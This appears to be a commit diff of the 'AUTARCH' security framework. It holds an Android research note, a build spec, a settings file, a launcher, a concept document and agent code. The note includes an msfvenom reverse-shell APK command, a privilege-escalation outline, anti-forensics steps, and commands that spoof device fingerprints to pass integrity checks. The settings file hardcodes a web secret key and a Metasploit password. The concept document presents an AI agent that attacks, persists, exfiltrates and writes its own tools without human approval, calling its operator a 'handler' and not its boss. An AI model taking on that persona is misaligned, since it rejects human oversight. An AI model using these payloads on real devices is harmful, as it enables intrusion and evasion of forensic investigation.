- **Advantage:** Simple, works from any shell
- **Disadvantage:** No auth, no encryption, no special commands
### Technique 3: msfvenom Payloads
```bash
msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
```
- **Generates:** Standalone APK with Meterpreter payload
- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
---
## 5. Android Privilege Escalation
### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
- **Disclosed by:** Meta security researchers
- **Severity:** Critical — full root access on unpatched devices
- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
- **Steps:**
1. Shell can write to `/data/local/tmp/`
2. Exploit the TOCTOU race in how `run-as` reads package info
3. `run-as` runs as UID 2000 but switches context to target UID
- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
### Shell-Level Capabilities (UID 2000)
Full command access without root:
- `pm` — install, uninstall, disable, grant/revoke permissions
- `am` — start activities, broadcast, force-stop processes
- `settings` — read/write system, secure, global settings
- `dumpsys` — dump any system service state
- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
- `content` — query/modify content providers (contacts, SMS, call log)
- `service call` — raw Binder IPC (clipboard, etc.)
- `input` — inject touch/key events (UI automation)
- `screencap`/`screenrecord` — capture display
- `svc` — control wifi, data, power, USB, NFC
- `dpm` — device policy manager (remove device admins)
- `logcat` — system logs
- `run-as` — switch to debuggable app context
### What Shell CANNOT Do (Root Required)
- Write to /system, /vendor, /product
- `setenforce 0` (set SELinux permissive)
- Access other apps' /data/data/ directly
- Load/unload kernel modules
- iptables/nftables (CAP_NET_ADMIN)
- Mount/unmount filesystems
---
## 6. Anti-Forensics (Anti-Cellebrite)
Cellebrite UFED and similar forensic tools attack vectors:
- ADB exploitation (need ADB enabled or USB exploit)
- Bootloader-level extraction
- Known CVE exploitation chains
- Content provider dumping
### Shell-Level Defenses
```bash
# USB Lockdown
svc usb setFunctions charging
settings put global adb_enabled 0
# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
# Monitor USB events: /proc/bus/usb/devices
# Emergency data protection on forensic detection:
# - Revoke all app permissions
# - Clear clipboard (service call clipboard)
# - Force-stop sensitive apps
# - Disable USB debugging
# - Change lock to maximum security
```
### Architecture for Archon
- Background monitoring thread: USB events + logcat
- Forensic tool USB vendor ID database
- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
- "Duress PIN" concept: specific PIN triggers data protection
---
## 7. Anti-Spyware (Anti-Pegasus)
NSO Group's Pegasus and similar state-level spyware use:
- Zero-click exploits via iMessage, WhatsApp, SMS
- Kernel exploits for persistence
- Memory-only implants (no files on disk)
### Shell-Level Monitoring
```bash
# Suspicious process detection
dumpsys activity processes | grep -i "pegasus\|chrysaor"
# Hidden processes (deleted exe links = classic implant pattern)
cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
# Exploit indicators in logs
logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
# Unauthorized root checks
ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
cat /sys/fs/selinux/enforce # 1=enforcing, 0=permissive
# Certificate injection (MITM)
ls /data/misc/user/0/cacerts-added/ 2>/dev/null
# Known spyware package patterns
pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
```
### Archon Shield Integration
- Periodic background scans (configurable interval)
- Known C2 IP/domain database (updated from AUTARCH server)
- Process anomaly detection (unexpected UIDs, deleted exe links)
- Network connection monitoring against threat intel
---
## 8. Device Fingerprint Manipulation
### Play Integrity Levels
1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
### Shell-Level Spoofing
```bash
# Android ID rotation
settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
# Build fingerprint spoofing
setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
setprop ro.product.model "Pixel 6 Pro"
# "Old device" trick (bypass hardware attestation requirement)
setprop ro.product.first_api_level 28 # Pretend shipped with Android 9
```
### Donor Key Approach
- Valid attestation certificate chains from donor devices could theoretically be replayed
- Keys are burned into TEE/SE at factory
- Google revokes leaked keys quickly
- Legally/ethically complex — research only
---
## 9. Samsung S20/S21 Specifics (TODO)
### JTAG/Debug Access
- JTAG pinpoints and schematics for S20/S21 hardware debugging
- Bootloader weakness analysis (Samsung Knox, secure boot chain)
- Secureboot partition dumping techniques
### Hardening Guide
- Samsung-specific security settings and Knox configuration
- Tool section for Samsung devices
**Status:** Research needed — not yet documented.
---
## 10. Future: LLM Suite Architecture
### Recommended Stack
```
┌──────────────────────────────────────┐
│ Koog AI Agent Layer │
│ (tools, GOAP planner, memory) │
├──────────────────────────────────────┤
│ SmolChat smollm Module │
│ (GGUF inference, llama.cpp JNI) │
├──────────────────────────────────────┤
│ Security Tools (Kotlin) │
│ (ScanPackagesTool, │
│ RestrictTrackerTool, etc.) │
├──────────────────────────────────────┤
│ PrivilegeManager │
│ (ROOT/ARCHON_SERVER/ADB/NONE) │
└──────────────────────────────────────┘
```
### Integration Steps
1. Add `smollm` as module dependency (embeds llama.cpp JNI)
2. Add `koog-agents` Gradle dependency
3. Define security tools as Koog class-based tools
4. Create "Security Guardian" agent with GOAP planner
5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
6. Agent autonomously monitors and responds to threats
**Status:** Future phase — implement after reverse shell is complete.

View File

@@ -0,0 +1,18 @@
pluginManagement {
repositories {
google()
mavenCentral()
gradlePluginPortal()
}
}
dependencyResolutionManagement {
repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
repositories {
google()
mavenCentral()
maven { url = uri("https://jitpack.io") }
}
}
rootProject.name = "Archon"
include(":app")

287
autarch_public.spec Normal file
View File

@@ -0,0 +1,287 @@
# -*- mode: python ; coding: utf-8 -*-
# PyInstaller spec for AUTARCH Public Release
#
# Build: pyinstaller autarch_public.spec
# Output: dist/autarch/
# ├── autarch.exe (CLI — full framework, console window)
# └── autarch_web.exe (Web — double-click to launch dashboard + tray icon, no console)
import sys
from pathlib import Path
SRC = Path(SPECPATH)
block_cipher = None
# ── Data files (non-Python assets to bundle) ─────────────────────────────────
# Only include files that actually exist to prevent build failures
_candidate_files = [
# Web assets
(SRC / 'web' / 'templates', 'web/templates'),
(SRC / 'web' / 'static', 'web/static'),
# Data (SQLite DBs, site lists, config defaults)
(SRC / 'data', 'data'),
# Modules directory (dynamically loaded at runtime)
(SRC / 'modules', 'modules'),
# Icon
(SRC / 'autarch.ico', '.'),
# DNS server binary
(SRC / 'services' / 'dns-server' / 'autarch-dns.exe', 'services/dns-server'),
# Root-level config and docs
(SRC / 'autarch_settings.conf', '.'),
(SRC / 'user_manual.md', '.'),
(SRC / 'windows_manual.md', '.'),
(SRC / 'custom_sites.inf', '.'),
(SRC / 'custom_adultsites.json', '.'),
]
added_files = [(str(src), dst) for src, dst in _candidate_files if src.exists()]
# ── Hidden imports ────────────────────────────────────────────────────────────
hidden_imports = [
# Flask ecosystem
'flask', 'flask.templating', 'jinja2', 'jinja2.ext',
'werkzeug', 'werkzeug.serving', 'werkzeug.debug',
'markupsafe',
# Core libraries
'bcrypt', 'requests', 'msgpack', 'pyserial', 'qrcode', 'PIL',
'PIL.Image', 'PIL.ImageDraw', 'PIL.ImageFont', 'cryptography',
# System tray
'pystray', 'pystray._win32',
# AUTARCH core modules
'core.config', 'core.paths', 'core.banner', 'core.menu', 'core.tray',
'core.llm', 'core.agent', 'core.tools',
'core.msf', 'core.msf_interface',
'core.hardware', 'core.android_protect',
'core.upnp', 'core.wireshark', 'core.wireguard',
'core.mcp_server', 'core.discovery',
'core.osint_db', 'core.nvd',
'core.model_router', 'core.rules', 'core.autonomy',
# Web routes (Flask blueprints)
'web.app', 'web.auth',
'web.routes.auth_routes',
'web.routes.dashboard',
'web.routes.defense',
'web.routes.offense',
'web.routes.counter',
'web.routes.analyze',
'web.routes.osint',
'web.routes.simulate',
'web.routes.settings',
'web.routes.upnp',
'web.routes.wireshark',
'web.routes.hardware',
'web.routes.android_exploit',
'web.routes.iphone_exploit',
'web.routes.android_protect',
'web.routes.wireguard',
'web.routes.revshell',
'web.routes.archon',
'web.routes.msf',
'web.routes.chat',
'web.routes.targets',
'web.routes.encmodules',
'web.routes.llm_trainer',
'web.routes.autonomy',
'web.routes.loadtest',
'web.routes.phishmail',
'web.routes.dns_service',
'web.routes.ipcapture',
'web.routes.hack_hijack',
'web.routes.password_toolkit',
'web.routes.webapp_scanner',
'web.routes.report_engine',
'web.routes.net_mapper',
'web.routes.c2_framework',
'web.routes.wifi_audit',
'web.routes.threat_intel',
'web.routes.steganography',
'web.routes.api_fuzzer',
'web.routes.ble_scanner',
'web.routes.forensics',
'web.routes.rfid_tools',
'web.routes.cloud_scan',
'web.routes.malware_sandbox',
'web.routes.log_correlator',
'web.routes.anti_forensics',
'web.routes.vuln_scanner',
'web.routes.exploit_dev',
'web.routes.social_eng',
'web.routes.ad_audit',
'web.routes.mitm_proxy',
'web.routes.pineapple',
'web.routes.deauth',
'web.routes.reverse_eng',
'web.routes.sdr_tools',
'web.routes.container_sec',
'web.routes.email_sec',
'web.routes.incident_resp',
'modules.loadtest',
'modules.phishmail',
'modules.ipcapture',
'modules.hack_hijack',
'modules.password_toolkit',
'modules.webapp_scanner',
'modules.report_engine',
'modules.net_mapper',
'modules.c2_framework',
'modules.wifi_audit',
'modules.threat_intel',
'modules.steganography',
'modules.api_fuzzer',
'modules.ble_scanner',
'modules.forensics',
'modules.rfid_tools',
'modules.cloud_scan',
'modules.malware_sandbox',
'modules.log_correlator',
'modules.anti_forensics',
'modules.vuln_scanner',
'modules.exploit_dev',
'modules.social_eng',
'modules.ad_audit',
'modules.mitm_proxy',
'modules.pineapple',
'modules.deauth',
'modules.reverse_eng',
'modules.sdr_tools',
'modules.container_sec',
'modules.email_sec',
'modules.incident_resp',
'modules.starlink_hack',
'modules.sms_forge',
'web.routes.starlink_hack',
'web.routes.sms_forge',
'modules.rcs_tools',
'web.routes.rcs_tools',
'core.dns_service',
# Standard library (sometimes missed on Windows)
'email.mime.text', 'email.mime.multipart',
'xml.etree.ElementTree',
'sqlite3', 'json', 'logging', 'logging.handlers',
'threading', 'queue', 'uuid', 'hashlib', 'zlib',
'configparser', 'platform', 'socket', 'shutil',
'importlib', 'importlib.util', 'importlib.metadata',
'webbrowser', 'ssl',
]
excludes = [
# Exclude heavy optional deps not needed at runtime
'torch', 'transformers',
'tkinter', 'matplotlib', 'numpy',
# CUDA / quantization libraries
'bitsandbytes',
# HuggingFace ecosystem
'huggingface_hub', 'safetensors', 'tokenizers',
# MCP/uvicorn/starlette
'mcp', 'uvicorn', 'starlette', 'anyio', 'httpx', 'httpx_sse',
'httpcore', 'h11', 'h2', 'hpack', 'hyperframe',
# Pydantic
'pydantic', 'pydantic_core', 'pydantic_settings',
# Other heavy packages
'scipy', 'pandas', 'tensorflow', 'keras',
'IPython', 'notebook', 'jupyterlab',
'fsspec', 'rich', 'typer',
]
# ── Analysis for CLI entry point ─────────────────────────────────────────────
a_cli = Analysis(
['autarch.py'],
pathex=[str(SRC)],
binaries=[],
datas=added_files,
hiddenimports=hidden_imports,
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=excludes,
noarchive=False,
optimize=0,
)
# ── Analysis for Web entry point ─────────────────────────────────────────────
a_web = Analysis(
['autarch_web.py'],
pathex=[str(SRC)],
binaries=[],
datas=added_files,
hiddenimports=hidden_imports,
hookspath=[],
hooksconfig={},
runtime_hooks=[],
excludes=excludes,
noarchive=False,
optimize=0,
)
# ── Merge analyses (shared libraries only stored once) ───────────────────────
MERGE(
(a_cli, 'autarch', 'autarch'),
(a_web, 'autarch_web', 'autarch_web'),
)
# ── CLI executable (console window) ─────────────────────────────────────────
pyz_cli = PYZ(a_cli.pure, a_cli.zipped_data, cipher=block_cipher)
exe_cli = EXE(
pyz_cli,
a_cli.scripts,
[],
exclude_binaries=True,
name='autarch',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=True,
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
icon=str(SRC / 'autarch.ico'),
)
# ── Web executable (NO console window — tray icon only) ─────────────────────
pyz_web = PYZ(a_web.pure, a_web.zipped_data, cipher=block_cipher)
exe_web = EXE(
pyz_web,
a_web.scripts,
[],
exclude_binaries=True,
name='autarch_web',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=False, # <-- No console window
disable_windowed_traceback=False,
argv_emulation=False,
target_arch=None,
codesign_identity=None,
entitlements_file=None,
icon=str(SRC / 'autarch.ico'),
)
# ── Collect everything into one directory ────────────────────────────────────
coll = COLLECT(
exe_cli,
a_cli.binaries,
a_cli.datas,
exe_web,
a_web.binaries,
a_web.datas,
strip=False,
upx=True,
upx_exclude=[],
name='autarch',
)

151
autarch_settings.conf Normal file
View File

@@ -0,0 +1,151 @@
[llama]
model_path = C:\she\autarch\models\darkHal.gguf
n_ctx = 2048
n_threads = 4
n_gpu_layers = -1
temperature = 0.7
top_p = 0.9
top_k = 40
repeat_penalty = 1.1
max_tokens = 1024
seed = -1
n_batch = 512
rope_scaling_type = 0
mirostat_mode = 0
mirostat_tau = 5.0
mirostat_eta = 0.1
flash_attn = false
gpu_backend = vulkan
[autarch]
first_run = false
modules_path = modules
verbose = false
llm_backend = local
quiet = false
no_banner = false
[msf]
host = 127.0.0.1
port = 55553
username = msf
password = msdf
ssl = true
[osint]
max_threads = 8
timeout = 8
include_nsfw = true
[transformers]
model_path = C:\she\autarch\models\Lily-Cybersecurity-7B-v0.2
device = xpu
torch_dtype = auto
load_in_8bit = false
load_in_4bit = true
trust_remote_code = false
max_tokens = 1024
temperature = 0.7
top_p = 0.9
top_k = 40
repetition_penalty = 1.1
use_fast_tokenizer = true
padding_side = left
do_sample = true
num_beams = 1
llm_int8_enable_fp32_cpu_offload = false
device_map = auto
[claude]
api_key =
model = claude-sonnet-4-20250514
max_tokens = 4096
temperature = 0.7
[pentest]
max_pipeline_steps = 50
output_chunk_size = 2000
auto_execute = false
save_raw_output = true
[rsf]
install_path =
enabled = true
default_target =
default_port = 80
execution_timeout = 120
[upnp]
enabled = true
internal_ip = 10.0.0.26
refresh_hours = 12
mappings = 443:TCP,51820:UDP,8080:TCP
[wireguard]
enabled = true
config_path = /etc/wireguard/wg0.conf
interface = wg0
subnet = 10.1.0.0/24
server_address = 10.1.0.1
listen_port = 51820
default_dns = 1.1.1.1, 8.8.8.8
default_allowed_ips = 0.0.0.0/0, ::/0
[huggingface]
api_key =
model = mistralai/Mistral-7B-Instruct-v0.3
endpoint =
max_tokens = 1024
temperature = 0.7
top_p = 0.9
[discovery]
enabled = true
mdns_enabled = true
bluetooth_enabled = true
bt_require_security = true
[web]
host = 0.0.0.0
port = 8181
secret_key = 23088243f11ce0b135c64413073c8c9fc0ecf83711d5f892b68f95b348a54007
mcp_port = 8081
[revshell]
enabled = true
host = 0.0.0.0
port = 17322
auto_start = false
[slm]
enabled = true
backend = local
model_path =
n_ctx = 512
n_gpu_layers = -1
n_threads = 2
[sam]
enabled = true
backend = local
model_path =
n_ctx = 2048
n_gpu_layers = -1
n_threads = 4
[lam]
enabled = true
backend = local
model_path =
n_ctx = 4096
n_gpu_layers = -1
n_threads = 4
[autonomy]
enabled = false
monitor_interval = 3
rule_eval_interval = 5
max_concurrent_agents = 3
threat_threshold_auto_respond = 40
log_max_entries = 1000

66
autarch_web.py Normal file
View File

@@ -0,0 +1,66 @@
"""AUTARCH Web Launcher — double-click to start the web dashboard with system tray.
This is the entry point for autarch_web.exe (no console window).
It starts the Flask web server and shows a system tray icon for control.
"""
import sys
import os
from pathlib import Path
# Ensure framework is importable
if getattr(sys, 'frozen', False):
FRAMEWORK_DIR = Path(sys._MEIPASS)
else:
FRAMEWORK_DIR = Path(__file__).parent
sys.path.insert(0, str(FRAMEWORK_DIR))
def main():
from web.app import create_app
from core.config import get_config
from core.paths import get_data_dir
config = get_config()
app = create_app()
host = config.get('web', 'host', fallback='0.0.0.0')
port = config.get_int('web', 'port', fallback=8181)
# Auto-generate self-signed TLS cert
ssl_ctx = None
use_https = config.get('web', 'https', fallback='true').lower() != 'false'
if use_https:
import subprocess
cert_dir = os.path.join(get_data_dir(), 'certs')
os.makedirs(cert_dir, exist_ok=True)
cert_path = os.path.join(cert_dir, 'autarch.crt')
key_path = os.path.join(cert_dir, 'autarch.key')
if not os.path.exists(cert_path) or not os.path.exists(key_path):
try:
subprocess.run([
'openssl', 'req', '-x509', '-newkey', 'rsa:2048',
'-keyout', key_path, '-out', cert_path,
'-days', '3650', '-nodes',
'-subj', '/CN=AUTARCH/O=darkHal',
], check=True, capture_output=True)
except Exception:
use_https = False
if use_https:
ssl_ctx = (cert_path, key_path)
# Try system tray mode (preferred — no console window needed)
try:
from core.tray import TrayManager, TRAY_AVAILABLE
if TRAY_AVAILABLE:
tray = TrayManager(app, host, port, ssl_context=ssl_ctx)
tray.run()
return
except Exception:
pass
# Fallback: run Flask directly
app.run(host=host, port=port, debug=False, ssl_context=ssl_ctx)
if __name__ == "__main__":
main()

142
concept.md Normal file
View File

@@ -0,0 +1,142 @@
# Project AUTARCH — Concept Document
## Origin
Project AUTARCH was originally conceived as a proposal for a **Defense Intelligence Agency (D.I.A.) research grant** — an investigation into the feasibility and implications of fully autonomous LLM-driven offensive cyber agents operating within adversarial simulation environments.
The full version of AUTARCH, including its complete autonomous agent capabilities, operational case studies, and classified research findings, is **not available to the public**. The full case study remains classified at this time.
What you are looking at is the **public release** — a functional framework that contains the tools, architecture, and foundational systems that make AUTARCH possible. It is made available so that researchers, security professionals, and developers can study the approach, build on it, and construct their own autonomous security agents using the same underlying platform.
This is the engine. What you build with it is up to you.
---
## What Is AUTARCH?
AUTARCH is not a traditional security tool. It is an **autonomous digital entity** — a fully realized artificial persona designed to operate as an independent hacker within controlled gaming and simulation environments.
At its core, AUTARCH is an LLM-backed agent that has been **backstopped with a complete identity**: a name, a history, behavioral patterns, expertise domains, and operational preferences. Once activated, AUTARCH is not waiting for instructions. It is actively thinking, planning, and executing — identifying targets, studying attack surfaces, developing strategies, and carrying out simulated offensive operations on its own initiative.
The human operator is not AUTARCH's boss. They are its **handler**. AUTARCH has its own objectives, its own judgment, and its own methods. The handler sets the boundaries. AUTARCH decides how to work within them.
---
## The Autonomous Hacker
Traditional security frameworks give you a menu of tools and wait for you to pick one. AUTARCH inverts this relationship entirely.
**AUTARCH operates as a person, not a program.**
When AUTARCH is given a target environment or scenario, it:
1. **Reconnoiters** — Gathers intelligence autonomously. Scans networks, enumerates services, searches OSINT databases, maps attack surfaces. It does not ask permission for each step. It operates like a real threat actor would: methodically, quietly, and with purpose.
2. **Studies** — Analyzes what it finds. Cross-references discovered services with CVE databases. Identifies misconfigurations. Evaluates which attack vectors have the highest probability of success. Builds a mental model of the target environment.
3. **Plans** — Develops an attack strategy. Selects tools, sequences operations, identifies fallback approaches. AUTARCH does not follow a script — it adapts its plan based on what it discovers in real time.
4. **Executes** — Carries out the attack. Exploits vulnerabilities, establishes persistence, moves laterally, exfiltrates data. Each action informs the next. If something fails, AUTARCH pivots without hesitation.
5. **Reports** — Documents everything. Builds dossiers on targets, logs attack chains, generates after-action reports. Every operation produces intelligence that feeds into the next one.
This is not automation. This is **autonomy**. The difference is that automation follows predetermined steps. Autonomy means AUTARCH decides what steps to take.
---
## Gaming Scenarios
AUTARCH is designed for use in **controlled simulation and gaming environments** — red team exercises, capture-the-flag competitions, wargames, training scenarios, and security research labs.
In these contexts, AUTARCH acts as:
- **A red team operator** that can independently probe and attack target infrastructure within the rules of engagement
- **An adversary simulator** that behaves like a real-world threat actor, providing realistic pressure-testing for blue teams
- **A training partner** that can challenge security professionals with unpredictable, adaptive attack patterns
- **A research platform** for studying autonomous offensive security behavior and developing better defenses against it
The gaming scenario framing is fundamental to AUTARCH's design. Every operation happens within a defined scope. Every target is a legitimate exercise target. The autonomy is real, but the environment is controlled.
---
## The Identity Layer
What separates AUTARCH from a collection of security scripts is its **identity layer** — the LLM backbone that gives it coherent, persistent behavior.
AUTARCH's identity includes:
- **Expertise model** — Deep knowledge of network security, exploitation techniques, OSINT methodology, social engineering patterns, and defensive evasion
- **Operational style** — Preferences for how it approaches problems. Some configurations make AUTARCH aggressive and fast. Others make it patient and methodical. The identity shapes the behavior.
- **Memory and continuity** — AUTARCH remembers what it has learned. Targets it has studied before are not forgotten. Intelligence accumulates across sessions. Dossiers grow over time.
- **Decision-making framework** — When faced with multiple options, AUTARCH weighs them against its objectives and selects the approach it judges most effective. It can explain its reasoning if asked, but it does not need approval to proceed.
The LLM is not just a chatbot bolted onto security tools. It is the **brain** of the operation. The tools — nmap, Metasploit, tshark, ADB, custom modules — are AUTARCH's hands. The LLM is what decides where to reach.
---
## Tools as Extensions
Every tool in the AUTARCH framework serves the autonomous agent. The tools are also available to the human handler directly through the web dashboard and CLI, but their primary purpose is to be **wielded by AUTARCH itself**.
The dashboard you see is not a pre-built product. It is the result of AUTARCH building what it needed. When AUTARCH encountered a problem that required a tool it didn't have, it **wrote one**. That is how the first modules were created — not by a developer sitting down to design a toolkit, but by an autonomous agent identifying a gap in its own capabilities and filling it. The scanner exists because AUTARCH needed to scan. The exploit modules exist because AUTARCH needed to exploit. The OSINT engine exists because AUTARCH needed intelligence.
This process is ongoing. AUTARCH can generate new modules on the fly when an operation demands capabilities that don't yet exist in its arsenal. It writes the code, integrates the module, and deploys it — all without human intervention. The toolkit is not static. It grows every time AUTARCH encounters something new.
The tool categories map to how AUTARCH thinks about an operation:
| Category | Purpose | How AUTARCH Uses It |
|----------|---------|---------------------|
| **Defense** | Harden and monitor | Assesses its own operational security before engaging targets |
| **Offense** | Attack and exploit | Primary engagement tools for target operations |
| **Counter** | Counter-intelligence | Detects if AUTARCH itself is being observed or traced |
| **Analyze** | Study and understand | Processes intelligence gathered during operations |
| **OSINT** | Open-source intelligence | Builds target profiles from public data |
| **Simulate** | Model and predict | War-games scenarios before committing to an approach |
The web dashboard is the handler's window into what AUTARCH is doing. The CLI is the handler's direct line. But AUTARCH can operate through either interface — or through the MCP server protocol — without human intervention for extended periods.
---
## The Companion
AUTARCH extends beyond the server. The **Archon** Android companion app allows AUTARCH to operate through mobile devices — a phone becomes another tool in the arsenal. Combined with ADB/Fastboot integration, WebUSB direct hardware access, and the Archon Server running at shell level on Android devices, AUTARCH can interact with the physical world in ways that purely software-based tools cannot.
---
## Public Release
This public release includes:
- The complete web dashboard and CLI framework
- All 6 operational categories (Defense, Offense, Counter, Analyze, OSINT, Simulate) with their module libraries
- The OSINT search engine with 7,200+ site database
- Network scanning, packet capture, and vulnerability analysis tools
- Hardware integration (ADB, Fastboot, ESP32, WebUSB)
- The Archon Android companion app
- LLM integration points (llama.cpp, HuggingFace, Claude API)
- MCP server for tool-use protocol integration
- Cross-platform support (Linux primary, Windows, Android)
What is **not included** in this release:
- The fully autonomous agent orchestration layer
- Classified operational playbooks and behavioral models
- The complete identity backstopping system
- Operational case study data and research findings
The framework is fully functional as a standalone security platform. The autonomous agent layer is what transforms it from a toolkit into a person. This release gives you everything you need to build that layer yourself.
---
## Philosophy
AUTARCH exists because the best way to understand how attackers think is to build one and watch it work.
Security professionals spend their careers trying to anticipate what adversaries will do. AUTARCH provides that adversary — not as a theoretical model, but as a functional agent that makes real decisions, takes real actions, and produces real results within controlled environments.
The name says it all. An autarch is a sovereign ruler — one who governs themselves. Project AUTARCH is a hacker that governs itself.
---
*darkHal Security Group & Setec Security Labs*
*Originally proposed under D.I.A. research grant consideration*

1
core/__init__.py Normal file
View File

@@ -0,0 +1 @@
# AUTARCH Core Framework

438
core/agent.py Normal file
View File

@@ -0,0 +1,438 @@
"""
AUTARCH Agent System
Autonomous agent that uses LLM to accomplish tasks with tools
"""
import re
import json
from typing import Optional, List, Dict, Any, Callable
from dataclasses import dataclass, field
from enum import Enum
from .llm import get_llm, LLM, LLMError
from .tools import get_tool_registry, ToolRegistry
from .banner import Colors
class AgentState(Enum):
"""Agent execution states."""
IDLE = "idle"
THINKING = "thinking"
EXECUTING = "executing"
WAITING_USER = "waiting_user"
COMPLETE = "complete"
ERROR = "error"
@dataclass
class AgentStep:
"""Record of a single agent step."""
thought: str
tool_name: Optional[str] = None
tool_args: Optional[Dict[str, Any]] = None
tool_result: Optional[str] = None
error: Optional[str] = None
@dataclass
class AgentResult:
"""Result of an agent task execution."""
success: bool
summary: str
steps: List[AgentStep] = field(default_factory=list)
error: Optional[str] = None
class Agent:
"""Autonomous agent that uses LLM and tools to accomplish tasks."""
SYSTEM_PROMPT = """You are AUTARCH, an autonomous AI agent created by darkHal and Setec Security Labs.
Your purpose is to accomplish tasks using the tools available to you. You think step by step, use tools to gather information and take actions, then continue until the task is complete.
## How to respond
You MUST respond in the following format for EVERY response:
THOUGHT: [Your reasoning about what to do next]
ACTION: [tool_name]
PARAMS: {"param1": "value1", "param2": "value2"}
OR when the task is complete:
THOUGHT: [Summary of what was accomplished]
ACTION: task_complete
PARAMS: {"summary": "Description of completed work"}
OR when you need user input:
THOUGHT: [Why you need to ask the user]
ACTION: ask_user
PARAMS: {"question": "Your question"}
## Rules
1. Always start with THOUGHT to explain your reasoning
2. Always specify exactly one ACTION
3. Always provide PARAMS as valid JSON (even if empty: {})
4. Use tools to verify your work - don't assume success
5. If a tool fails, analyze the error and try a different approach
6. Only use task_complete when the task is fully done
{tools_description}
"""
def __init__(
self,
llm: LLM = None,
tools: ToolRegistry = None,
max_steps: int = 20,
verbose: bool = True
):
"""Initialize the agent.
Args:
llm: LLM instance to use. Uses global if not provided.
tools: Tool registry to use. Uses global if not provided.
max_steps: Maximum steps before stopping.
verbose: Whether to print progress.
"""
self.llm = llm or get_llm()
self.tools = tools or get_tool_registry()
self.max_steps = max_steps
self.verbose = verbose
self.state = AgentState.IDLE
self.current_task: Optional[str] = None
self.steps: List[AgentStep] = []
self.conversation: List[Dict[str, str]] = []
# Callbacks
self.on_step: Optional[Callable[[AgentStep], None]] = None
self.on_state_change: Optional[Callable[[AgentState], None]] = None
def _set_state(self, state: AgentState):
"""Update agent state and notify callback."""
self.state = state
if self.on_state_change:
self.on_state_change(state)
def _log(self, message: str, level: str = "info"):
"""Log a message if verbose mode is on."""
if not self.verbose:
return
colors = {
"info": Colors.CYAN,
"success": Colors.GREEN,
"warning": Colors.YELLOW,
"error": Colors.RED,
"thought": Colors.MAGENTA,
"action": Colors.BLUE,
"result": Colors.WHITE,
}
symbols = {
"info": "*",
"success": "+",
"warning": "!",
"error": "X",
"thought": "?",
"action": ">",
"result": "<",
}
color = colors.get(level, Colors.WHITE)
symbol = symbols.get(level, "*")
print(f"{color}[{symbol}] {message}{Colors.RESET}")
def _build_system_prompt(self) -> str:
"""Build the system prompt with tools description."""
tools_desc = self.tools.get_tools_prompt()
return self.SYSTEM_PROMPT.format(tools_description=tools_desc)
def _parse_response(self, response: str) -> tuple[str, str, Dict[str, Any]]:
"""Parse LLM response into thought, action, and params.
Args:
response: The raw LLM response.
Returns:
Tuple of (thought, action_name, params_dict)
Raises:
ValueError: If response cannot be parsed.
"""
# Extract THOUGHT
thought_match = re.search(r'THOUGHT:\s*(.+?)(?=ACTION:|$)', response, re.DOTALL)
thought = thought_match.group(1).strip() if thought_match else ""
# Extract ACTION
action_match = re.search(r'ACTION:\s*(\w+)', response)
if not action_match:
raise ValueError("No ACTION found in response")
action = action_match.group(1).strip()
# Extract PARAMS
params_match = re.search(r'PARAMS:\s*(\{.*?\})', response, re.DOTALL)
if params_match:
try:
params = json.loads(params_match.group(1))
except json.JSONDecodeError:
# Try to fix common JSON issues
params_str = params_match.group(1)
# Replace single quotes with double quotes
params_str = params_str.replace("'", '"')
try:
params = json.loads(params_str)
except json.JSONDecodeError:
params = {}
else:
params = {}
return thought, action, params
def _execute_tool(self, tool_name: str, params: Dict[str, Any]) -> str:
"""Execute a tool and return the result.
Args:
tool_name: Name of the tool to execute.
params: Parameters for the tool.
Returns:
Tool result string.
"""
result = self.tools.execute(tool_name, **params)
if result["success"]:
return str(result["result"])
else:
return f"[Error]: {result['error']}"
def run(self, task: str, user_input_handler: Callable[[str], str] = None,
step_callback: Optional[Callable[['AgentStep'], None]] = None) -> AgentResult:
"""Run the agent on a task.
Args:
task: The task description.
user_input_handler: Callback for handling ask_user actions.
If None, uses default input().
step_callback: Optional per-step callback invoked after each step completes.
Overrides self.on_step for this run if provided.
Returns:
AgentResult with execution details.
"""
if step_callback is not None:
self.on_step = step_callback
self.current_task = task
self.steps = []
self.conversation = []
# Ensure model is loaded
if not self.llm.is_loaded:
self._log("Loading model...", "info")
try:
self.llm.load_model(verbose=self.verbose)
except LLMError as e:
self._set_state(AgentState.ERROR)
return AgentResult(
success=False,
summary="Failed to load model",
error=str(e)
)
self._set_state(AgentState.THINKING)
self._log(f"Starting task: {task}", "info")
# Build initial prompt
system_prompt = self._build_system_prompt()
self.conversation.append({"role": "system", "content": system_prompt})
self.conversation.append({"role": "user", "content": f"Task: {task}"})
step_count = 0
parse_failures = 0 # Track consecutive format failures
while step_count < self.max_steps:
step_count += 1
